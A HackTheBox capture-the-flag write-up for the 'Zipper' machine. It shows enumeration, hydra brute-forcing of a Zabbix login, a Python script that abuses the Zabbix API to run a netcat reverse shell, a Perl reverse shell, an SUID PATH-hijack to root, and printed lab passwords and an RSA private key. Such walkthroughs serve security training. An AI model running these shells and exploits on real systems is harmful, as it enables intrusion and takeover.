# **HackTheBox** | **Zipper Write-up**

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# HackTheBox | Zipper Write-up Recap

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Severity Level	Critical
Access level	Method
User	Brute-force the Zabbix webportal, or Find a potential username on the Guest dashboard Run a reverse shell through the Zabbix API Get a better foothold by using a double reverse shell. Enumerate the /home folder and find potential, unsafely stored credentials.
Root	SUID executable Insert custom path to modified executable in PATH Run custom executable through SUID executable.

## Recap

The Zipper machine challenges you to get a more stable shell since it uses a proxy service to connect to various machine, of which one is a machine of interest. Initially, it was hard to find the right machine. Once there was a steady foothold on the right machine, getting user and root access was straightforward. Both methods of getting access are recurring themes in the **Hack the Box** machines: unsafe, lazely stored user credentials and exploiting an SUID executable. Nonetheless, it was very educational to go through the whole process.

### **Service Enumeration**

#### nmap

```
nmap -sC -sV -oA nmap/zipper 10.10.10.108
```


```
Nmap scan report for 10.10.10.108
Host is up (0.034s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh
                   OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
   2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
   256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http
                   Apache httpd 2.4.29 ((Ubuntu))
http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Sun Oct 21 11:57:58 2018 -- 1 IP address (1 host up) scanned in
15.83 seconds
```

Port 80 is open, firing up gobuster to scan directories.

### gobuster

```
gobuster -u http://10.10.10.108 -w /usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt -o gobuster.txt
```

Retrieved a /zabbix directory, which shows:



## **Gaining access to Zabbix**

After some enumeration, a potential username could be <code>zapper</code>. Simultanuously running <code>hydra</code> and a custom wordlist of <code>zapper</code> variations, we get a non-GUI access message. This means the right credentials are given, but the user is only allowed API access.

```
hydra -l zapper -P /root/infosec-toolbox/SecLists/Passwords/probable-v2-top12000.txt 10.10.10.108 http-post-form
"/zabbix/index.php/:name=^USER^&password=^PASS^&autologin=1&enter=Sign+in:Logi
n name or password is incorrect."
```

Username: zapper

```
Password: zapper
GUI access disabled
```

With the following crafted Python script, we can get a login token, iterate through the hosts and create and execute scripts on them. The Admin credentials were obtained by first using the zapper, zapper credentials, getting a reverse shell, followed by forwarding cat on the zabbix configuration file:

```
<?php
// Zabbix GUI configuration file.
global $DB;
$DB['TYPE'] = 'MYSQL';
$DB['SERVER'] = 'localhost';
$DB['PORT'] = '0';
$DB['DATABASE'] = 'zabbixdb';
$DB['USER'] = 'zabbix';
$DB['PASSWORD'] = 'f.YMeMd$pTbpY3-449';
// Schema name. Used for IBM DB2 and PostgreSQL.
$DB['SCHEMA'] = '';
$ZBX_SERVER = 'localhost';
$ZBX SERVER PORT = '10051';
$ZBX SERVER NAME = 'Zabbix';
$IMAGE_FORMAT_DEFAULT = IMAGE_FORMAT_PNG;
?>
```

### Reverse shell using a Python script

Using these credentials in the Python script:

rce zabbix.py

```
import urllib.request
import json
import random

IP = '10.10.14.53'

PORT = 9005

HOST_ID = 10106

PAYLOAD = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + IP + " "
+ str(PORT) + " >/tmp/f &"
```

```
# PAYLOAD = "su zapper -p zapper && cat /home/zapper/user.txt"
# PAYLOAD = "hostname && ls -la /home/zapper && ls -la /backups"
class Zabbix():
    URL = 'http://10.10.10.108/zabbix/api jsonrpc.php'
    login_json = {
        "jsonrpc": "2.0",
        "method": "user.login",
        "params": {
            "user": "Admin",
            "password": "f.YMeMd$pTbpY3-449"
        },
        "id": 1
    }
    def __init__(self):
        self.host_id = HOST_ID
        self.auth = self.make request(self.login json)['result']
        self.hosts = {
            "jsonrpc": "2.0",
                "method": "host.get",
                "params": {
                "output": [
                    "hostid",
                    "host"
                ],
                "selectInterfaces": [
                    "interfaceid",
                    "ip"
                ]
            "auth": self.auth,
            "id": 1
        res hosts = self.make request(self.hosts)
        print(res_hosts)
        self.payload = {
            "jsonrpc": "2.0",
            "method": "script.create",
```

```
"params": {
                "name": "RevShell-" + str(random.randint(0,100)),
                "command": PAYLOAD,
                "host_access": 10000,
                "execute_on": 0,
                "confirmation": "Are you sure you would like to exploit the
server?"
            },
            "auth": self.auth,
            "id": 1
        }
        res = self.make_request(self.payload)
        self.script id = res['result']['scriptids'][0]
        print("### RUNNING SCRIPT ###")
        self.run script = {
            "jsonrpc": "2.0",
            "method": "script.execute",
            "params": {
                "scriptid": str(self.script_id),
                "hostid": int(self.host id)
            },
            "auth": self.auth,
            "id": 1
        }
        res = self.make request(self.run script)
        print(res)
    def make_request(self, j):
        req = urllib.request.Request(self.URL)
        req.add header('Content-Type', 'application/json; charset=utf-8')
        jsondata = json.dumps(j)
        jsondata = jsondata.encode('utf-8')
        req.add_header('Content-Length', len(jsondata))
        response = urllib.request.urlopen(req, jsondata)
        return json.loads(response.read())
if name == ' main ':
    z = Zabbix()
```

With a simple nc -lvp 9005, we get a reverse shell in the zipper machine:

```
$ hostname
zipper
```

However, this shell has a short lifespan, there is some odd proxying going on through the **Zabbix** service.

### **Penetration**

#### **User access**

### Stabalizing the reverse shell

We can solve the unstable shell by starting another one, by quickly passing the following Perl reverse shell code:

```
perl -e 'use
Socket;$i="10.10.14.53";$p=9006;socket(S,PF_INET,SOCK_STREAM,getprotobyname("t
cp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -
i");};'
```

#### **Obtaining TTY**

We do not have a TTY yet. After failing to run python and some enumeration, there is a python3 installation we can use:

```
python3 -c 'import pty; pty.spawn("/bin/sh")'
```

We now have full access to su, ssh, and other commands.

### **Unsafely stored login credentials for User**

Enumerating the home directory yields one user:

```
drwxr-xr-x 6 zapper zapper 4096 Sep 9 19:12 zapper
```

We use our previously obtained passwords on the <code>zapper</code> user, but this gives no results. After some more enumeration, there is a <code>backup.sh</code> file, 7zipping a directory with a provided password:

```
zapper@zipper:~$ cat utils/backup.sh
```

```
#!/bin/bash
#
# Quick script to backup all utilities in this folder to /backups
#
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah
/home/zapper/utils/* &>/dev/null
echo $?
```

ZippityDoDah gives us access to the zapper user.

```
su zapper
Password: ZippityDoDah
```

There is also a private key stored in its usual directory:

```
zapper@zipper:~/.ssh$ cat id_rsa
```

----BEGIN RSA PRIVATE KEY----MIIEpQIBAAKCAQEAzU9krR2wCqTrEOJY+dqbPKlfqTDDlAeJo65Qfn+39Ep0zLpR 13C9cWG9WwbBlBInQM9beD3HlwLvhm9kL5s55PIt/fZnyHjYYkmpVKBnAUnPYh67 GtTbPQUmU3Lukt5KV3nf18iZvQe0v/YKRA6Fx8+Gcs/dgYBmnV13DV8uSTqDA3T+ eBy7hzXoxW1sInXFqKizCEXbe83vPIUa12o0F5aZnfqM53MEMcQxliTiG2F5Gx9M 2dqERDs5oqKGBv4PkqMYDPzXRoHnktSaGVsdhYNSxjNbqE/PZFOYBq7wYIlv/QPi eBTz7Qh0NNR1JCAvM9MuqGURGJJzwdaO4IJJWQIDAQABAoIBAQDIu7MnPzt60Ewz +docj4vvx3nFCjRuauA71JaG18C3bIS+FfzoICZY0MMeWICzkPwn9ZTs/xpBn3Eo 84f0s8PrAI3PHDdkXiLSFksknp+XNt84q+tT1IF2K67JMDnqBsSQumwMwejuVLZ4 aMqot7o9Hb3KS0m68BtkCJn5zPGoTXizTuhA8Mm35TovXC+djYwqDsCPD9fHsajh UKmIIhpmmCbHHKmMtSy+P9jk1RYbpJTBIi34GyLruXHh18EehJuBpATZH34KBIKa 8QBB1nGO+J41JKeZuW3vOI7+nK3RqRrdo+jCZ6B3mF9a037jacHxHZasaK3eYmgP rTkd2quxAoGBAOat8qnWc8RPVHsrx5uO1bqVukwA4UOqRXAyDnzOrDCkcZ96aReV UIq7XkWbjgt7VjJIIbaPeS6wmRRj2lSMBwf1DqZIHDyFlDbrGqZkcRv76/q15Tt0 oTn4x8SRZ8wdTeSeNRE3c5aFgz+r6cklNwKzMNuiUzcOoR8NSVOJPqJzAoGBAOPY ks9+AJAjUTUCUF5KF4UTwl9NhBzGCHAiegagc5iAgqcCM7oZAfKBS3oD9lAwnRX+ zH84g+XuCVxJCJaE7iLeJLJ4vg6P43Wv+WJEnuGylvzquPzoAflYyl3rx0qwCSNe 8MyoGxzqSRrTFtYodXtXY5FTY3UrnRXLr+Q3TZYDAoGBALU/NO5/3mP/RMymYGac OtYx1DfFdTkyY3y9B98OcAKkIlaA0rPh8O+gOnkMuPXSia5mOH79ieSigxSfRDur 7hZVeJY0EGOJPSRNY5obTzgCn65UXvFxOQCYtTWAXgLlf39Cw0VswVgiPTa4967A m9F2Q8w+ZY3b48LHKLcHHfx7AoGATOqTxRAYSJBjna2GTA5fGkGtYFbevofr2U8K Oqp324emk5Keu7qtfBxBypMD19ZRcVdu2ZPOkxRkfI77IzUE3yh24vj30BqrAtPB MHdR24daiU8D2/zGjdJ3nnU19fSvYQ1v5ObrIDhm9XNFRk6qOlUp+61W7fsnMHBu lHBG9NkCgYEAhqEr2L1YpAW3ol8uz1tEgPdhAjsN4rY2xPAuSXGXXIRS6PCY8zDk WaPGjnJjg9NfK2zYJqI2FN+8Yyfe62G87XcY7ph8kpe0d6HdVcMFE4IJ8iKCemNE Yh/DOMIBUavqTcX/RVve0rEkS8pErQqYgHLHqcsRUGJ1J6FSyUPwjnQ=

----END RSA PRIVATE KEY----

Milestone: user.txt flag: aa29e93f48c64f8586448b6f6e38fe33

#### **Root access**

### Finding an SUID executable

Root access was pretty straightforward and a recurring theme on the **HackTheBox** machines: exploiting SUID executables. In a previous scan, we already found some files in the utils folder:

```
zapper@zipper:~$ ls -la utils/
```

```
total 20
drwxrwxr-x 2 zapper zapper 4096 Sep 8 13:27 .
drwxr-xr-x 6 zapper zapper 4096 Sep 9 19:12 .
-rwxr-xr-x 1 zapper zapper 194 Sep 8 13:12 backup.sh
-rwsr-sr-x 1 root root 7556 Sep 8 13:05 zabbix-service
```

Denote the -rwsr-sr-x in the permissions, acknowledging us that it can be executed with a privileged rights (root). Examining this binary yields:

```
zapper@zipper:~$ strings utils/zabbix-service
```

```
tdx
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setuid
puts
stdin
printf
fgets
strcspn
system
__cxa_finalize
setgid
strcmp
__libc_start_main
__stack_chk_fail
GLIBC_2.1.3
GLIBC 2.4
GLIBC 2.0
```

```
__ITM_deregisterTMCloneTable
__gmon_start__
__ITM_registerTMCloneTable
Y[^]
UWVS
[^_]
start or stop?:
start
systemctl daemon-reload && systemctl start zabbix-agent
stop
systemctl stop zabbix-agent
[!] ERROR: Unrecognized Option
;*2$"
GCC: (Ubuntu 7.3.0-16ubuntu3) 7.3.0
```

It uses **systemctl** daemon-reload && systemctl start zabbix-agent

### **PrivEsc using PATH environment variable**

We can make a simple change to our PATH environment variable to create our own version of 'systemctl':

```
nano /tmp/systemctl
sh -c 'cat /root/root.txt'
```

We then make it executable, and insert /tmp as the first entry in our PATH.

```
chmod +x /tmp/systemctl
```

And then run our SUID executable, <code>zabbix-service</code> that will call our own version of <code>systemctl</code> first, in which we can run any command as <code>root</code>:

```
zapper@zipper:/tmp$ ../home/zapper/utils/zabbix-service
start or stop?: start
a7c743d35b8efbedfd9336492a8eab6e
```

Milestone: root.txt flag: a7c743d35b8efbedfd9336492a8eab6e

Or for complete root access, simply replace our custom systemat1 script with:

```
sh -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.53 9000 >/tmp/f'
```

Or, if you use <code>msfvenom</code>, your own crafted <code>shell.elf</code> to get a more permanent hold for a post-exploitation phase.

On our own machine:

```
nc -lvp 9000
```

Connection from 10.10.10.108:43540 # whoami root